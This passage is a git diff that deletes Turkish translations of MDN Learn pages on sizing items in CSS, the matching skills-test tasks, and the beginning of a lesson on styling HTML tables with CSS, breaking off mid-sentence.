href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/sizing_items_in_css/index.html b/files/tr/learn/css/building_blocks/sizing_items_in_css/index.html deleted file mode 100644 index 4794dbebae..0000000000 --- a/files/tr/learn/css/building_blocks/sizing_items_in_css/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: CSS'de öğeleri boyutlandırma -slug: Learn/CSS/Building_blocks/Sizing_items_in_CSS -tags: - - Acemi - - Beginner - - CSS - - Eğitim - - Intrinsic size - - Learn - - boyutlandırma - - goruntu alanı birimleri - - maksimum boyut - - max size - - min size - - minimum boyut - - percentage - - sizing - - viewport units - - yüzde - - İç boyut -translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS -original_slug: Öğren/CSS/CSS_yapi_taslari/Sizing_items_in_CSS ---- -<p>https://wiki.developer.mozilla.org/tr/docs/%C3%96%C4%9Fren/CSS/CSS_yapi_taslari/Sizing_items_in_CSS$edit</p> - -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</div> - -<p>Şimdiye kadar ki derslerde, CSS kullanarak bir web sayfasındaki öğeleri buyutlandırmanın çeşitli yollarıyla karşılaştık. Tasarımındaki özelliklerin ne kadar çok olacağını anlamak önemlidir ve bu derste, öğelerin CSS aracılığıyla bir boyut elde etmenin çeşitli yollarını özetleyip, gelecekte size yardımcı olacak boyutlandırma ile ilgili birkaç terimi ele alacağız.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS'de nesneleri boyutlandırmanın farklı yollarını anlamak.</td> - </tr> - </tbody> -</table> - -<h2 id="Nesnelerin_doğal_veya_içsel_boyutu">Nesnelerin doğal veya içsel boyutu</h2> - -<p>HTML öğeleri, herhangi bir CSS'den etkilenmeden önce ayarlanmış doğal bir boyuta sahiptir. Görüntü buna iyi bir örnektir. Bir <code><image></code>'nin sayfaya gömdüğü görüntü dosyasında, tanımlı bir genişlik ve yükseklik vardır. Bu boyut, görüntünün kendisinden gelen <strong>gerçek boyut</strong> olarak tanımlanır.</p> - -<p>Bir sayfaya bir resim yerleştirirsen ve yüksekliğini, genişliğini <code><img></code> etiketi veya CSS üzerindeki niteklikleri kullanarak değiştirmezsen, görüntü iç boyut kullanılarak görüntülenir. Dosyanın boyutunu görebilmen için aşağıdaki örnekte görüntüyü bir çerçevenin içerisinde gösterdim.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}</p> - -<p>Boş bir {{htmlelement("div")}}, kendine ait bir boyuta sahip değildir. HTML'ye içeriği olmayan bir {{htmlelement("div")}} ekleyip, buna da bir kenarlık verirsen, sayfada düz bir çizgi görürsün. Bu, öğenin daraltılmış kenarlığıdır — öğemize yükseklik verebilecek bir içerik yoktur. Aşağıdaki örneğimizde düz çizgi, içinde bulunduğu kutunun sınır genişliğine kadar uzanır, çünkü bu bir blok seviyesi öğesidir, size aşına olmaya başlaması gereken bir davranış. İçerik olmadığı için yüksekliği(veya blok boyuntunda boyutu) yoktur.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}</p> - -<p>Yukarıdaki örnekte, boş öğenin içine biraz metin eklemeyi deneyin. Kenarlık şimdi bu metni içerir, çünkü öğenin yüksekliği içerik tarafından belirlenir. Dolayısıyla <code><div></code> blok boyutundaki boyutu içeriğin boyutundan gelmektedir. Yani içeriğindeki öğenin gerçek boyutuyla öğemizin boyutu belirlenir.</p> - -<h2 id="Belirli_bir_boyut_belirleme">Belirli bir boyut belirleme</h2> - -<p>Elbette tasarımımızdaki öğelere belirli bir boyut verebiliriz. Bir öğenin boyutunu biz belirtirsek buna <strong>dışsal boyut</strong> denir. Yukarıdaki <code><div></code> örneğimizi ele alalım — ona belirli bir {{cssxref("width")}} ve {{cssxref("height")}} nitelikleri ile boyutunu belirttiğimizde içeriğine, ne gelirse gelsin boyut sabit kalacaktır. <a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşma konusundaki dersimizde</a> öğrendiğimiz gibi, sabit bir yüksekliğe sahip öğenin, alanına sığamayacak kadar büyük bir içerik gelirse, bu içeriğin öğenin sınırları dışına taşmasına neden olur.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}</p> - -<p>Taşma sorunu nedeniyle, web tasarımı yaparken öğelere vereceğin yüksekliklere çok dikkat etmelisin.</p> - -<h3 id="Yüzdeler_kullanma">Yüzdeler kullanma</h3> - -<p>Yüzdeler birçok yönden uzunluk birimleri gibi davranır ve <a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units#Percentages">değerler ve birimlerle ilgili derste</a> tartıştığımız gibi, genellikle uzunluklarla birbirinin yerine kullanılabilirler. Bir yüzde kullanırken, yüzdenin neyi baz alacağını bilmen çok önemlidir. Kutu içinde kutu olması durumunda, alt kutunun genişliğini yüzde ile belirtirsen, alt kutunun genişliği üst kutunun genişliğinin yüzdesi olacaktır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}</p> - -<p>Bunun nedeni, yüzdelerin kapsayıcı bloğunun boyutuna göre çözülmesidir. <code><div></code>'e yüzde uygulanmaz ise, blok düzeyinde bir öğe olduğu için, içinde bulunduğu alanın %100'ünü kaplar. %1 genişlik verirsek, bu normalde dolduracağı alanın %1 olur.</p> - -<h3 id="Yüzde_kenar_boşlukları_ve_dolgu">Yüzde kenar boşlukları ve dolgu</h3> - -<p>Eğer <code>margins</code> ve <code>padding</code> niteliklerini yüzdelik olarak ayarlandığında, bazı garip davranışlar sergiler. Aşağıdaki örnekte bir kutumuz var. İç kutuya {{cssxref("margin")}} %10 ve {{cssxref("padding")}} %10 değerlerini verdik. Kutunun üstündeki ve altındaki dolgu ve kenar boşluğu, sol ve sağdaki kenar boşluğuyla aynı boyuttadır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}</p> - -<p>Mesela, üst ve alt kenar boşluklarını öğenin yüksekliğinin bir yüzdesi, sol ve sağ kenar boşluklarının öğenin genişliğinin bir yüzdesi olmasını bekleyebilirsin. Ancak durum bu şekilde değildir!</p> - -<p>Yüzdelik cinsinden kenar boşluğu ve dolgu niteliğini tanımladığında, yüzdelik ebeveynin <strong>satır içi boyutundan</strong> hesaplanır — yatay bir dilde çalışırken genişlik istenilmeyen bir sonuç verecektir. Bu nedenle, tüm kenarların kenar boşlukları ve dolgu genişlikleri eşit olacaktır — tüm kenarlara %10 değeri atandığı için. Yüzdelikleri bu niteliklerde kullandığında, bu davranışa dikkat etmen gerekir.</p> - -<h2 id="min-_ve_max-_boyutlar">min- ve max- boyutlar</h2> - -<p>Her şeye sabit bir boyut vermenin yanı sıra, CSS'de bir öğeye alabilecekleri minimum ve/veya maksimum bir boyutta tanımlayabiliriz. Değişken miktarda içerik barındırabilecek bir kutunuz varsa ve her zaman <em>en azından</em> belili bir yükseklikte olmasını istersen, {{cssxref("min-height")}} niteliğiyle bunu ayarlayabilirsin. Kutunun içeriği boş dahi olsa en azından bu boyuta sahip olacaktır. Fakat kutunun içeriği minimum alanın taşıyabileceğinden daha fazla içerik almaya başladığında, kutunun boyutları içeriği kapsayabileceği boyuta genişleyecektir.</p> - -<p>Aşağıdaki örnekte, her iki kutununda {{cssxref("min-height")}} niteliği 150 piksel olarak tanımlandı. Soldaki kutu 150 piksel yüksekliğindedir; sağdaki kutu daha fazla alan gerektiren içeriğe sahip olduğu için 150 pikselden daha uzundur.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}</p> - -<p>Bu teknik değişken içeriğe sahip olan öğelerde taşmayı önelemek için çok kullanışlıdır.</p> - -<p>Bunun diğer bir yaygın kullanımı ise görüntüleri kendi iç genişliklerinde görüntülemek için yeterli alanın olmadığı durumlarda, görüntünün gösterilmek istenilen kutunun genişliğinden daha fazla genişleğe sahip olmasını engellemek için {{cssxref("max-width")}} niteliğini kullanmaktır.</p> - -<p>Misal; <code>width: 100%</code> olarak tanımladığında görüntü içinde bulunduğu kutunun genişliğinden daha fazla olmayacaktır fakat görüntü kutunun genişliğinden küçük oluduğu durumlarda görüntü ebeveyninin genişliği kadar bir genişliğe sahip olması istendiği için büyütülecekti ve bu büyüme görüntünün pikselli görünmesine sebeb olurdu.</p> - -<p>Bunun yerine <code>max-width: 100%</code> tanımını kullanırsan, görüntü ebeveyninin genişliğinden daha büyük olsa bile ebeveyninin genişliğinin %100'ne geldiğinde duracaktır ve ebeveyninin genişliğinden küçük olması durumunda, görüntünün boyutu ebeveyninin boyutuna genişletilmeyip içsel boyutunda görüntüleneceğinden görüntüde bir bozulma olmayacaktır.</p> - -<p>Aşağıdaki örnekte aynı resmi üç kez kullandık. İlk görüntüye <code>width: 100%</code> tanımlaması yaptık ve kendisinden daha büyük bir kutu içerisine yerleştirdik. Bu nedenle kutunun genişliğine genişledi ve görüntünün pikselleri görünür hale geldi. İkinci görüntü <code>max-width: 100%</code> tanımlası yapıldı, bu nedenle kutuyu duldurmak için genişlemiyor sadece kendi iç boyutu kadar genişliyor. üçüncü kutu yine <code>max-width: 100%</code> tanımlası yapıldı ve kendisinden daha küçük genişliğe sahip bir kutunun içerisine yerleştirildi; bu durumda kutuya sığmak için nasıl küçüldüğünü görebilirsin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}</p> - -<p>Bu teknik, görüntüleri <em>duyarlı</em> hale getirmek için kullanılır, böylece daha küçük bir kutuda görüntülendiğinde uygun bir şekle bürünür. Büyük boyutlu resimleri görüntülemek için bu tekniği kullanmayın, bunun yerine büyük resimleri tarayıcı için uygun boyutta küçültmelisin. Görsellerin, tasarımda gösterildikleri boyuttan daha büyük olması, görsellerin indirilme süresini uzatacağından sitenin yavaşlamasına neden olur ve kotalı bir bağlantıya sahip kullanıcılara daha fazla ücrete mâl olabilir.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: <a href="/tr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Duyarlı görüntüleme teknikleri</a> hakkında daha fazla bilgi edinin.</p> -</div> - -<h2 id="Görüntü_alanı_birimleri">Görüntü alanı birimleri</h2> - -<p>Bir siteyi görüntülemek için kullandığın tarayıcının, web sayfasını görüntülediği pencerenin de bir boyutu vardır. CSS'de, bu alanla da ilgili birimlerimiz de vardır — görüntüleme alanı genişliği(<code>vw</code>) ve görüntüleme alanı yüksekliği(<code>vh</code>) birimi. Bu birimleri kullanarak, kullanıcının görüntüleme alanına göre herhangi bir öğeyi boyutlandırabilirsin.</p> - -<p><code>1vw</code> görüntüleme alanının genişliğinin %1'ine, <code>1vh</code>'de görüntüleme alanının yüksekliğinin %1'ine eşittir. Bu birimleri kutuları, metinleri boyutlandırmak için kullanabilirsin. Aşağıdaki örnekte 20vh ve 20vw boyutlarında bir kutumuz var. Kutu içerisinde <code>font-size</code>'ı 10vh olan bir "A" harfi var.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}</p> - -<p><strong>Eğer <code>vh</code> ve <code>vw</code> değerlerini değiştirirsen, kutunun ve yazı tipinin boyutuda değişecektir. Ayrıca görüntüleme alanının boyutunuda değiştirilmesi, kutu ve yazı tipinin boyutunun görüntüleme alanına bağladığımız için bunlarında boyutu değişecektir. Görüntüleme alanın değiştirildiğinde örnekteki boyutlarında değişmesini istiyorsan <a href="https://mdn.github.io/css-examples/learn/sizing/vw-vh.html">örneği yeni bir pencerede açın</a>(yukarıdaki örnek <code><iframe></code> içerisinde gömülü olduğu için görüntüleme alanı olarak gömülü olduğu pencerenin değerlerine göre hareket edecektir)</strong></p> - -<p>Nesneleri görüntüleme alanına göre boyutlandırmak tasarımlarında faydalı olabilir. Örneğin, içeriğinin geri kalanından önce tam sayfa görüntülemek istediğin bir bölümün olmasını istiyorsan, sayfanın bu bölümünün yüksekliği <strong>100vh</strong> olarak tanımlarsan, içeriğin geri kalanı sayfanın altına itilir ve sayfan açıldığında sadece istediğin bölüm gözükür. Diğer içerikler için sayfanın kaydırılması gerekir.</p> - -<h2 id="Becerilerini_test_et!">Becerilerini test et!</h2> - -<p>Bu derste birçok konuyu ele aldık, ancak en önemli bilgileri hatırlıyor musun? Devam etmeden önce bu bilgileri öğrendiğini doğrulamak için bazı testler hazırladım. — bkz. <a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_tasks">Becerilerini test et: Boyutlandırma</a>.</p> - -<h2 id="Özet">Özet</h2> - -<p>Bu ders de web'deki öğeleri boyutlandırırken karşılaşabileceğin bazı temel sorunların bir özetini anlattım. <a href="/tr/docs/Learn/CSS/CSS_layout">CSS Düzenine</a> geçtiğinde, farklı düzen yöntemlerinde uzmanlaşmanda boyutlandırma çok önemli hale gelecektir, bu nedenle devam etmeden önce buradaki kavramları iyi anlamaya çalışmalısın.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/sizing_tasks/index.html b/files/tr/learn/css/building_blocks/sizing_tasks/index.html deleted file mode 100644 index a37b752372..0000000000 --- a/files/tr/learn/css/building_blocks/sizing_tasks/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'Becerilerinizi test edin: Boyutlandırma' -slug: Learn/CSS/Building_blocks/Sizing_tasks -tags: - - Acemi - - Beginner - - CSS - - Example - - Örnek -translation_of: Learn/CSS/Building_blocks/Sizing_tasks -original_slug: Öğren/CSS/CSS_yapi_taslari/Sizing_tasks ---- -<div>{{LearnSidebar}}</div> - -<div></div> - -<p>Bu görevin amacı <a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de Öğeleri Boyutlandırma</a> dersinde incelediğimiz bazı bazı değerler ve birimler hakkındaki öğrendiklerinizi kontrol etmenize yardımcı olmaktır.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Aşağıdaki etkileşimli düzenleyicilerde kodları deneyebilirsiniz, ancak kodu indirip görevler üzerinde çalışabilmek için kullanabileceğiniz <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi bir araç kullanılması da yararlı olabilir.</p> - -<p>Sıkışırsanız, bizden yardım isteyin — bu sayfanın altındaki {{anch("Değerlendirme ve yardım")}} bölümüne bakın.</p> -</div> - -<h2 id="Birinci_Görev">Birinci Görev</h2> - -<p>Bu görevde iki kutunuz var. İlki, yüksekliğin en az 100 piksel olacak şekilde boyutlandırılmalıdır, kutu, içerik alanına sığabilecek miktardan daha az içeriğe sahip olsada bile bu boyutu korumalıdır. Ayrıca kutunun içerik alanına sığabilecek miktardan daha fazla içerik girildiğinde, içerik kutunun sınırlarını aşmamalıdır. Taşma engellenecek.</p> - -<p>İkinci kutu 100 piksel yüksekliğinde sabitlenmelidir, böylelikle içeriğinin alabileceğinden fazla içerik alırsa taşma gerçekleşecektir.</p> - -<p><img alt="Two boxes one with overflowing content" src="https://mdn.mozillademos.org/files/17140/mdn-sizing-height-min-height.png" style="height: 551px; width: 746px;"></p> - -<p>Aşağıdaki örneği resimdeki gibi görünebilemesi için kodu düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/sizing/height-min-height.html", '100%', 1000)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/sizing/height-min-height-download.html">Kaynak Kodu</a>, editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="İkinci_Görev">İkinci Görev</h2> - -<p>Bu görevde başka bir kutu içeren bir kutu vardır. Sizin göreviniz, iç kutuyu dış kutunun geniliğinin %60'ı kapsacak şekilde tanımlamaktır. {{cssxref("box-sizing")}} niteliği {{cssxref("border-box")}}olarak ayarlanmıştır; bu dolgu ve kenarlığın toplam genişliğe dahil edildiği anlamına gelmektedir. Ayrıca, bu yüzdenin hesaplanacağı boyut olarak genişliği (veya satır iyi boyutu) kullanarak iç kutu dolgusunu %10 olarak tanımlamalısınız.<img alt="A box with another box nested inside" src="https://mdn.mozillademos.org/files/17141/mdn-sizing-percentages.png" style="height: 274px; width: 720px;"></p> - -<p>Aşağıdaki örneğin resimdeki gibi görünebilmesi için kodu düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/sizing/percentages.html", '100%', 800)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/sizing/percentages-download.html">kaynak kodu</a>, editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="Görev_Üç">Görev Üç</h2> - -<p>Bu görevde, kutularda iki resim var. Bir görüntü kutudan daha küçük, diğeri daha büyük ve kutudan taşmış durumda. Kutunun duyarlı olduğunu ve bu nedenle büyüyüp küçülebileceğini hayal ederseniz, küçük ve büyük görüntünün kutularına göre boyutlandırılması ve küçük görüntünün gerilmemesi için gerekli kodları yazın.</p> - -<p><img alt="Two boxes with images in" src="https://mdn.mozillademos.org/files/17142/mdn-sizing-max-width.png" style="height: 807px; width: 742px;"></p> - -<p>Aşağıdaki örneğin resimdeki gibi görünebilmesi için kodu düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/sizing/max-width.html", '100%', 1200)}}</p> - -<div class="blockIndicator note"> -<p>Değerlendirme ve daha ileri çalışma için bu görevin <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/sizing/max-width-download.html">kaynak kodu</a>, editörünüzde veya çevrimiçi düzenleyicide çalışması için indirebilirsiniz.</p> -</div> - -<h2 id="Değerlendirme_veya_daha_fazla_yardım">Değerlendirme veya daha fazla yardım</h2> - -<p>Bu örnekleri yukarıda bahsedilen Etkileşimli Editörlerde deneyebilirsiniz.</p> - -<p>Çalışmanizin değerlendirilmesini istiyorsanız veya bir noktada takılıp kaldıysanız ve yardım istemek istiyorsanız:</p> - -<ol> - <li>Çalışmanızı <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi paylaşılabilir bir düzenleyiciye kaydedin. Kodu kendiniz yazabilir veya yukarıdaki bölümlerde bağlantı verilen kaynak kodları kullanabilirsiniz.</li> - <li>Bize <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a> değerlendirme ve/veya yardım isteyen bir gönderi yazın. Gönderinizde bulunması gerekenler: - <ul> - <li>"Kutu Modeli Beceri testi 1 için istenen değerlendirme" gibi açıklayıcı bir başlık.</li> - <li>Halihazırda denediklerinizin ve bizden ne yapmamızı istediğinizle ilgili ayrıntılar.</li> - <li>Değerlendirilmek istediğiniz veya yardıma ihtiyaç duyduğunuz kodun çevrimiçi paylaşılabilir düzenleyicide bağlantısı. Göremediğimiz bir kod üzerinde değerlendirme ve/veya yardımda bulunamayız.</li> - <li>Yardım almak istediğiniz soruyu bulabilmemiz için asıl görev veya değerlendirme sayfasına bir bağlantı.</li> - </ul> - </li> -</ol> diff --git a/files/tr/learn/css/building_blocks/styling_tables/index.html b/files/tr/learn/css/building_blocks/styling_tables/index.html deleted file mode 100644 index d6983c73f9..0000000000 --- a/files/tr/learn/css/building_blocks/styling_tables/index.html +++ /dev/null @@ -1,331 +0,0 @@ ---- -title: Tabloları şekillendirme -slug: Learn/CSS/Building_blocks/Styling_tables -tags: - - Acemi - - Article - - Beginner - - CSS - - CodingScripting - - Guide - - Komut Dosyası - - Makale - - NeedsUpdate - - Rehber - - Stil - - Styling - - Tables - - Tablo -translation_of: Learn/CSS/Building_blocks/Styling_tables -original_slug: Öğren/CSS/CSS_yapi_taslari/Styling_tables ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</div> - -<p class="summary">Bir HTML tablosu biçimlendirmek dünyadaki en göz alıcı iş değildir, ancak bazen bunu hepimiz yapmak zorunda kalırız. Bu makale, bazı özel tablo şekillendirme tekniklerinin vurgulanmasıyla HTML tablolarının güzel görünmesi için bir rehber sağlar.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>HTML tablolarının nasıl etkili bir şekilde biçimlendirileceğini öğrenmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Standart_bir_HTML_tablosu">Standart bir HTML tablosu</h2> - -<p>Standart bir HTML tablosuna bakarak başlayalım. HTML tablo örneklerinin çoğu ayakkabılar, hava durumu veya çalışanlarlar hakkındadır. Aşağıda İngiltere'nin ünlü punk gruplarının bulunduğu bir tablo bulunmakta. Biçimlendirme şöyle görünür.</p> - -<pre class="brush: html notranslate"><table> - <caption>A summary of the UK's most famous punk bands</caption> - <thead> - <tr> - <th scope="col">Band</th> - <th scope="col">Year formed</th> - <th scope="col">No. of Albums</th> - <th scope="col">Most famous song</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">Buzzcocks</th> - <td>1976</td> - <td>9</td> - <td>Ever fallen in love (with someone you shouldn't've)</td> - </tr> - <tr> - <th scope="row">The Clash</th> - <td>1976</td> - <td>6</td> - <td>London Calling</td> - </tr> - - ... some rows removed for brevity - - <tr> - <th scope="row">The Stranglers</th> - <td>1974</td> - <td>17</td> - <td>No More Heroes</td> - </tr> - </tbody> - <tfoot> - <tr> - <th scope="row" colspan="2">Total albums</th> - <td colspan="2">77</td> - </tr> - </tfoot> -</table></pre> - -<p>Tabloyu güzelce {{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}}, vb. öğe ve niteliklerle işaretledikten sonra ne yazık ki pek iyi görünmüyor.(Tablonun HTML versiyonunu görmek için <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html">punk-bands-unstyled.html</a> sayfasına bakın.):</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13064/table-unstyled.png" style="display: block; margin: 0 auto;"></p> - -<p>Yalnızca varsayılan tarayıcı stili ile sıkışık, okunması zor ve sıkıcı görünüyor. Bunu düzeltmek için biraz CSS kullanmamız gerekiyor.</p> - -<h2 id="Tablomuzu_şekillendirmek">Tablomuzu şekillendirmek</h2> - -<p>Tablo örneğimizi birlikte şekillendirmeye çalışalım.</p> - -<ol> - <li>Başlangıç olarak, <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html">kaynak kodları</a> ve iki adet resmi(<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png">noise</a> ve <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg">leopardskin</a>) bilgisayarınıza indirin. İndirmiş olduğunuz üç dosyayıda bilgisayarınıza bir klasöre kopyalayın.</li> - <li>Ardından, adı <code>style.css</code> olan bir dosya oluşturun ve diğer indirmiş olduğunuz dosyalarla aynı klasörün içerisine kaydedin.</li> - <li>Aşağıdaki HTML satırını sayfanızın içine yerleştirerek CSS'i {{htmlelement("head")}} etiketi içerisinde HTML'ye bağlayın. - <pre class="brush: html notranslate"><link href="style.css" rel="stylesheet" type="text/css"></pre> - </li> -</ol> - -<h3 id="Aralık_ve_düzen">Aralık ve düzen</h3> - -<p>Yapmamız gereken ilk şey, tablonun düzenini ve hücreler arasındaki aralığı tanımlamak - varsayılan tablo stili çok sıkışık! Bunu yapmak için aşağıdaki CSS'yi <code>style.css</code> dosyasına eklemelisin:</p> - -<pre class="brush: css notranslate">/* spacing */ - -table { - table-layout: fixed; - width: 100%; - border-collapse: collapse; - border: 3px solid purple; -} - -thead th:nth-child(1) { - width: 30%; -} - -thead th:nth-child(2) { - width: 20%; -} - -thead th:nth-child(3) { - width: 15%; -} - -thead th:nth-child(4) { - width: 35%; -} - -th, td { - padding: 20px; -}</pre> - -<p>Dikkat edilmesi gereken en önemli kısımlar aşağıdaki gibidir:</p> - -<ul> - <li>Bir {{cssxref("table-layout")}} niteliğine atanan <code>fixed</code> değeri tablonun daha öngürülebilir davranmasına sağlayarak çalışma alanımızda daha iyi bir ortam oluşturmuş oluruz. Normalde, tablo sütunları içerdikleri içeriğe göre boyutlandırılma eğilimindedirler ve bu da bazı garip sonuçlar doğurabilir. Biz de <code>tablo-layout: fixed</code> ile sütunlarımızı başlıkların genişliğine göre boyutlandırmış oluruz. Bu sāyede içeriklerle uygun şekilde ilgilenebiliriz. Daha sonra <code>thead th:nth-child(<em>n</em>)</code> bildirmiyle {{htmlelement("thead")}} öğemizin {{htmlelement("th")}} çocuklarını sırasıyla seçebilmek için {{cssxref(":nth-child")}} sözde öğe seçimizle başlıklarımızın genişliklerini yüzdelik olarak belirliyoruz. Sütun genişliklerinin tamamı başlıkların genişliklerine göre ayarlamak tablo sütunlarını boyutlandırmanın güzel bir yoludur. Chris Coyier bu tekniği daha ayrıntılı olarak ele aldığı <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a> makâlesinin çevirisine bakabilirsiniz.</li> - <li>Tablo genişliğini {{cssxref("width")}} niteliğine 100% uzunluk değeri vererek tablonun içinde bulunduğu kutunun genişliği kadar genişlik alması 